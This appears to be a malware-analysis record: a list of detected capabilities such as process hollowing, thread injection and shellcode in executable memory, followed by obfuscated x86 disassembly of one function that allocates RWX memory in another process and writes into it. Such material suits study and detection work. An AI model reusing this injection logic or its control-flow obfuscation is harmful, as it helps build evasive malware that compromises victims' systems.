Function at 0x10013b70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x118
mov eax, dword [0x100a3e80]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x120], 0xf3bd6231
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x124], eax
sub eax, 0x80425a93
je 0x10016e76
jmp 0x10013bac
mov eax, dword [ebp - 0x124]
sub eax, 0x836cb052
je 0x10018af3
jmp 0x10013bc2
mov eax, dword [ebp - 0x124]
sub eax, 0x83aae3dc
je 0x10019162
jmp 0x10013bd8
mov eax, dword [ebp - 0x124]
sub eax, 0x83eeff28
je 0x100160fa
jmp 0x10013bee
mov eax, dword [ebp - 0x124]
sub eax, 0x84ed3c4a
je 0x10017a41
jmp 0x10013c04
mov eax, dword [ebp - 0x124]
sub eax, 0x857aa20d
je 0x1001924a
jmp 0x10013c1a
mov eax, dword [ebp - 0x124]
sub eax, 0x8594f135
je 0x1001930a
jmp 0x10013c30
mov eax, dword [ebp - 0x124]
sub eax, 0x85a709ac
je 0x10017a95
jmp 0x10013c46
mov eax, dword [ebp - 0x124]
sub eax, 0x85b99f93
je 0x10016025
jmp 0x10013c5c
mov eax, dword [ebp - 0x124]
sub eax, 0x85d7d82e
je 0x100169ec
jmp 0x10013c72
mov eax, dword [ebp - 0x124]
sub eax, 0x877e3546
je 0x100163fc
jmp 0x10013c88
mov eax, dword [ebp - 0x124]
sub eax, 0x877fa2ff
je 0x100194f0
jmp 0x10013c9e
mov eax, dword [ebp - 0x124]
sub eax, 0x87b375ac
je 0x10015f08
jmp 0x10013cb4
mov eax, dword [ebp - 0x124]
sub eax, 0x87f68849
je 0x10019319
jmp 0x10013cca
mov eax, dword [ebp - 0x124]
sub eax, 0x88f293b0
je 0x1001774a
jmp 0x10013ce0
mov eax, dword [ebp - 0x124]
sub eax, 0x8935bd4e
je 0x10018f4d
jmp 0x10013cf6
mov eax, dword [ebp - 0x124]
sub eax, 0x89a8368d
je 0x10016ca6
jmp 0x10013d0c
mov eax, dword [ebp - 0x124]
sub eax, 0x89fad529
je 0x10015ff4
jmp 0x10013d22
mov eax, dword [ebp - 0x124]
sub eax, 0x8b5a746c
je 0x10019382
jmp 0x10013d38
mov eax, dword [ebp - 0x124]
sub eax, 0x8bef7569
je 0x10019177
jmp 0x10013d4e
mov eax, dword [ebp - 0x124]
sub eax, 0x8c440659
je 0x10016e16
jmp 0x10013d64
mov eax, dword [ebp - 0x124]
sub eax, 0x8d5558ae
je 0x10015c9a
jmp 0x10013d7a
mov eax, dword [ebp - 0x124]
sub eax, 0x8dc72072
je 0x10018039
jmp 0x10013d90
mov eax, dword [ebp - 0x124]
sub eax, 0x90ce599f
je 0x10019364
jmp 0x10013da6
mov eax, dword [ebp - 0x124]
sub eax, 0x912f9b91
je 0x10015dbd
jmp 0x10013dbc
mov eax, dword [ebp - 0x124]
sub eax, 0x9149edfa
je 0x10016918
jmp 0x10013dd2
mov eax, dword [ebp - 0x124]
sub eax, 0x9155b25f
je 0x10015af7
jmp 0x10013de8
mov eax, dword [ebp - 0x124]
sub eax, 0x925aacbd
je 0x10016d91
jmp 0x10013dfe
mov eax, dword [ebp - 0x124]
sub eax, 0x943156ea
je 0x10019210
jmp 0x10013e14
mov eax, dword [ebp - 0x124]
sub eax, 0x94891c45
je 0x100190d3
jmp 0x10013e2a
mov eax, dword [ebp - 0x124]
sub eax, 0x95f6c8b2
je 0x10015851
jmp 0x10013e40
mov eax, dword [ebp - 0x124]
sub eax, 0x9683c241
je 0x10017d83
jmp 0x10013e56
mov eax, dword [ebp - 0x124]
sub eax, 0x96fdf712
je 0x10017208
jmp 0x10013e6c
mov eax, dword [ebp - 0x124]
sub eax, 0x98108a65
je 0x100196a3
jmp 0x10013e82
mov eax, dword [ebp - 0x124]
sub eax, 0x982b378b
je 0x1001632e
jmp 0x10013e98
mov eax, dword [ebp - 0x124]
sub eax, 0x983b44ce
je 0x10019475
jmp 0x10013eae
mov eax, dword [ebp - 0x124]
sub eax, 0x999ec67c
je 0x10017c9f
jmp 0x10013ec4
mov eax, dword [ebp - 0x124]
sub eax, 0x9b35ba6a
je 0x100166da
jmp 0x10013eda
mov eax, dword [ebp - 0x124]
sub eax, 0x9d324247
je 0x10018d85
jmp 0x10013ef0
mov eax, dword [ebp - 0x124]
sub eax, 0x9dc5a0cd
je 0x10017ad4
jmp 0x10013f06
mov eax, dword [ebp - 0x124]
sub eax, 0x9eadbf4a
je 0x10017082
jmp 0x10013f1c
mov eax, dword [ebp - 0x124]
sub eax, 0x9f16cc59
je 0x10019332
jmp 0x10013f32
mov eax, dword [ebp - 0x124]
sub eax, 0x9f863788
je 0x10018499
jmp 0x10013f48
mov eax, dword [ebp - 0x124]
sub eax, 0xa02d55b3
je 0x100170e2
jmp 0x10013f5e
mov eax, dword [ebp - 0x124]
sub eax, 0xa0a5dd54
je 0x10018635
jmp 0x10013f74
mov eax, dword [ebp - 0x124]
sub eax, 0xa1e6d387
je 0x10017c1e
jmp 0x10013f8a
mov eax, dword [ebp - 0x124]
sub eax, 0xa216111f
je 0x10018d68
jmp 0x10013fa0
mov eax, dword [ebp - 0x124]
sub eax, 0xa285b59d
je 0x10018e44
jmp 0x10013fb6
mov eax, dword [ebp - 0x124]
sub eax, 0xa3143b01
je 0x100168c8
jmp 0x10013fcc
mov eax, dword [ebp - 0x124]
sub eax, 0xa3f407ba
je 0x10019153
jmp 0x10013fe2
mov eax, dword [ebp - 0x124]
sub eax, 0xa42f0156
je 0x1001694c
jmp 0x10013ff8
mov eax, dword [ebp - 0x124]
sub eax, 0xa482105a
je 0x10015c39
jmp 0x1001400e
mov eax, dword [ebp - 0x124]
sub eax, 0xa580d9e1
je 0x10015719
jmp 0x10014024
mov eax, dword [ebp - 0x124]
sub eax, 0xa5d8527b
je 0x10017320
jmp 0x1001403a
mov eax, dword [ebp - 0x124]
sub eax, 0xa684aaf1
je 0x10017543
jmp 0x10014050
mov eax, dword [ebp - 0x124]
sub eax, 0xa70a19db
je 0x10017aed
jmp 0x10014066
mov eax, dword [ebp - 0x124]
sub eax, 0xa8112ed5
je 0x10015f43
jmp 0x1001407c
mov eax, dword [ebp - 0x124]
sub eax, 0xa87d337c
je 0x1001640b
jmp 0x10014092
mov eax, dword [ebp - 0x124]
sub eax, 0xa8f68f73
je 0x10019120
jmp 0x100140a8
mov eax, dword [ebp - 0x124]
sub eax, 0xa9115c0b
je 0x10016f97
jmp 0x100140be
mov eax, dword [ebp - 0x124]
sub eax, 0xa932ebc6
je 0x10015d38
jmp 0x100140d4
mov eax, dword [ebp - 0x124]
sub eax, 0xa95a0a90
je 0x10018393
jmp 0x100140ea
mov eax, dword [ebp - 0x124]
sub eax, 0xa95bb54c
je 0x10017df9
jmp 0x10014100
mov eax, dword [ebp - 0x124]
sub eax, 0xa9ec79cf
je 0x1001656a
jmp 0x10014116
mov eax, dword [ebp - 0x124]
sub eax, 0xaa191ed9
je 0x100168d7
mov byte [ebp - 0xe9], 1
mov al, byte [ebp - 0xe9]
and al, 1
mov byte [ebp - 0xae], al
mov eax, dword [0x100a546c]
mov ecx, dword [0x100a5468]
mov edx, eax
sub edx, 0xe24080d3
sub edx, 1
add edx, 0xe24080d3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x94891c45
mov ecx, 0x6ce02436
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov ecx, dword [0x100a546c]
mov eax, dword [0x100a5468]
mov edx, ecx
add edx, 0xd31f047d
sub edx, 1
sub edx, 0xd31f047d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7cc42716
mov ecx, 0xdfb3f31f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov ecx, dword [0x100a546c]
mov eax, dword [0x100a5468]
mov edx, ecx
sub edx, 0xa79d9c72
sub edx, 1
add edx, 0xa79d9c72
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x47603240
mov ecx, 0x49ce1eb3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov edx, dword [ebp - 0xac]
mov eax, 0x8d5558ae
mov ecx, 0x6b84d3d2
cmp edx, 0xefb8f15
cmovle eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0x120], 0xec85d66b
jmp 0x100196ad
mov ecx, dword [0x100a546c]
mov eax, dword [0x100a5468]
mov edx, ecx
sub edx, 0x54be0069
sub edx, 1
add edx, 0x54be0069
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1e9d8fbd
mov ecx, 0xade10040
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov byte [ebp - 0xf1], 0
mov al, byte [ebp - 0xf1]
mov byte [ebp - 0xa1], al
mov dword [ebp - 0x120], 0x421b5238
jmp 0x100196ad
mov byte [ebp - 0xf1], 0
mov dword [ebp - 0x120], 0x64215440
jmp 0x100196ad
mov dword [ebp - 0x120], 0x50db5017
jmp 0x100196ad
mov dword [ebp - 0x120], 0x6f028547
jmp 0x100196ad
mov ecx, dword [0x100a546c]
mov eax, dword [0x100a5468]
mov edx, ecx
sub edx, 0x62939cb4
sub edx, 1
add edx, 0x62939cb4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x83aae3dc
mov ecx, 0x450c445e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov dl, byte [ebp - 0x9e]
mov eax, 0x1f8834f3
mov ecx, 0x22c57da5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov dword [ebp - 0x120], 0x5f66516f
jmp 0x100196ad
mov dword [ebp - 0x120], 0xa87d337c
jmp 0x100196ad
mov eax, dword [0x100a546c]
mov ecx, dword [0x100a5468]
mov edx, eax
sub edx, 0x6566bc35
sub edx, 1
add edx, 0x6566bc35
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfdd623d6
mov ecx, 0x2b33e65f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov dword [ebp - 0xf8], 0xefb8f17
mov ecx, dword [0x100a546c]
mov eax, dword [0x100a5468]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x57b21907
mov ecx, 0xf40301fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov eax, dword [0x100a546c]
mov ecx, dword [0x100a5468]
mov edx, eax
add edx, 0x35ffc9d4
sub edx, 1
sub edx, 0x35ffc9d4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xff5e2c39
mov ecx, 0x549ffc7a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov dword [ebp - 0x120], 0xaa191ed9
jmp 0x100196ad
mov dword [ebp - 0x120], 0x4a4a46c0
jmp 0x100196ad
mov dl, byte [ebp - 0xf9]
mov eax, 0x2119f64f
mov ecx, 0x66b2473d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov byte [ebp - 0xf9], 0
mov dword [ebp - 0x120], 0xcc51cde
jmp 0x100196ad
mov ecx, dword [0x100a546c]
mov eax, dword [0x100a5468]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x857aa20d
mov ecx, 0x7a7a5df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov dword [ebp - 0x120], 0x35290cfc
jmp 0x100196ad
mov eax, dword [0x100a546c]
mov ecx, dword [0x100a5468]
mov edx, eax
sub edx, 0xbc824ee3
sub edx, 1
add edx, 0xbc824ee3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x630f7e94
mov ecx, 0x443982eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov ecx, dword [0x100a546c]
mov eax, dword [0x100a5468]
mov edx, ecx
add edx, 0x5ded91ee
sub edx, 1
sub edx, 0x5ded91ee
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5edea5b3
mov ecx, 0xf79bb590
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov ecx, dword [0x100a546c]
mov eax, dword [0x100a5468]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5ae9f54e
mov ecx, 0xfc19299c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov dword [ebp - 0x120], 0xc19cac4b
jmp 0x100196ad
mov eax, dword [0x100a546c]
mov ecx, dword [0x100a5468]
mov edx, eax
sub edx, 0x285c4f49
sub edx, 1
add edx, 0x285c4f49
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x712dd0a2
mov ecx, 0xce9bbfd4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov dword [ebp - 0x120], 0x10a99a1d
jmp 0x100196ad
mov dword [ebp - 0x120], 0xab580cd1
jmp 0x100196ad
mov byte [ebp - 0xfb], 1
mov dword [ebp - 0x120], 0xe4ad9612
jmp 0x100196ad
mov eax, dword [0x100a546c]
mov ecx, dword [0x100a5468]
mov edx, eax
sub edx, 0x3866a48d
sub edx, 1
add edx, 0x3866a48d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8594f135
mov ecx, 0xb3c361c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov dword [ebp - 0x120], 0x448aca95
jmp 0x100196ad
mov eax, dword [ebp - 0x104]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x120], 0x6a2f9e8c
jmp 0x100196ad
mov dword [ebp - 0x104], 1
mov dword [ebp - 0x120], 0xa70a19db
jmp 0x100196ad
mov dword [ebp - 0x120], 0xb2c6d9f8
jmp 0x100196ad
mov dword [ebp - 0x120], 0xbbd9a615
jmp 0x100196ad
mov ecx, dword [0x100a546c]
mov eax, dword [0x100a5468]
mov edx, ecx
add edx, 0xfbf76495
sub edx, 1
sub edx, 0xfbf76495
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x90ce599f
mov ecx, 0xf22ee327
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov ecx, dword [0x100a546c]
mov eax, dword [0x100a5468]
mov edx, ecx
add edx, 0x303c9be9
sub edx, 1
sub edx, 0x303c9be9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x60dad463
mov ecx, 0xa95bb54c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov eax, dword [0x100a546c]
mov ecx, dword [0x100a5468]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x60dad463
mov ecx, 0xb25c1795
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x120], 0x3b679197
jmp 0x100196ad
mov ecx, dword [0x100a546c]
mov eax, dword [0x100a5468]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3bb4af5a
mov ecx, 0xbff3adcc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd4]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov edx, dword [ebp - 0xd0]
mov eax, 0x5e64e57d
mov ecx, 0x60df515d
cmp dword [edx], 0
cmovge eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov ecx, dword [0x100a546c]
mov eax, dword [0x100a5468]
mov edx, ecx
add edx, 0xeb33351d
sub edx, 1
sub edx, 0xeb33351d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x983b44ce
mov ecx, 0xf9c0d65d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x118]
add eax, 0x18
add eax, 0x60
add eax, 0x48
mov dword [ebp - 0x2c], eax
mov eax, dword [0x100a546c]
mov ecx, dword [0x100a5468]
mov edx, eax
sub edx, 0x30db1321
sub edx, 1
add edx, 0x30db1321
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6585a428
mov ecx, 0x749907c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov ecx, dword [ebp - 0x24]
add ecx, 4
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov dword [ebp - 0x120], 0x29ab91bb
jmp 0x100196ad
mov eax, dword [0x100a546c]
mov ecx, dword [0x100a5468]
mov edx, eax
add edx, 0x4b89bb48
sub edx, 1
sub edx, 0x4b89bb48
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfe67babe
mov ecx, 0xd5ec0e5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196ad
mov dword [ebp - 0x120], 0x2d0e124a
jmp 0x100196ad
mov dword [ebp - 0x120], 0xc7363302
jmp 0x100196ad
mov byte [ebp - 0xe9], 1
mov dword [ebp - 0x120], 0xa580d9e1
jmp 0x100196ad
mov dword [ebp - 0x120], 0x7378544e
jmp 0x100196ad
mov dword [ebp - 0x120], 0x79c0c2fb
jmp 0x100196ad
mov al, byte [ebp - 0x9f]
mov dword [ebp - 0x120], 0x450c445e
jmp 0x100196ad
mov byte [ebp - 0xf2], 1
mov dword [ebp - 0x120], 0xda8f9991
jmp 0x100196ad
mov dword [ebp - 0x120], 0xc25d9eee
jmp 0x100196ad
mov byte [ebp - 0xfa], 1
mov dword [ebp - 0x120], 0x7a7a5df
jmp 0x100196ad
mov dword [ebp - 0x120], 0x88f293b0
jmp 0x100196ad
mov dword [ebp - 0x100], 1
mov dword [ebp - 0x120], 0x13fa3f2e
jmp 0x100196ad
mov dword [ebp - 0x104], 0xefb8ee8
mov dword [ebp - 0x120], 0x34dc8ea7
jmp 0x100196ad
mov dword [ebp - 0x120], 0x999ec67c
jmp 0x100196ad
mov dword [ebp - 0x120], 0x69f04537
jmp 0x100196ad
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0xd8]
mov edx, dword [edx]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [ebp - 0x110]
mov eax, dword [ebp - 0x114]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x118]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov dword [eax], 0
mov dword [ebp - 0x120], 0xf9c0d65d
jmp 0x100196ad
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x120], 0xcf4918f6
jmp 0x100196ad
mov dword [ebp - 0x120], 0x6db3cd43
jmp 0x10013b90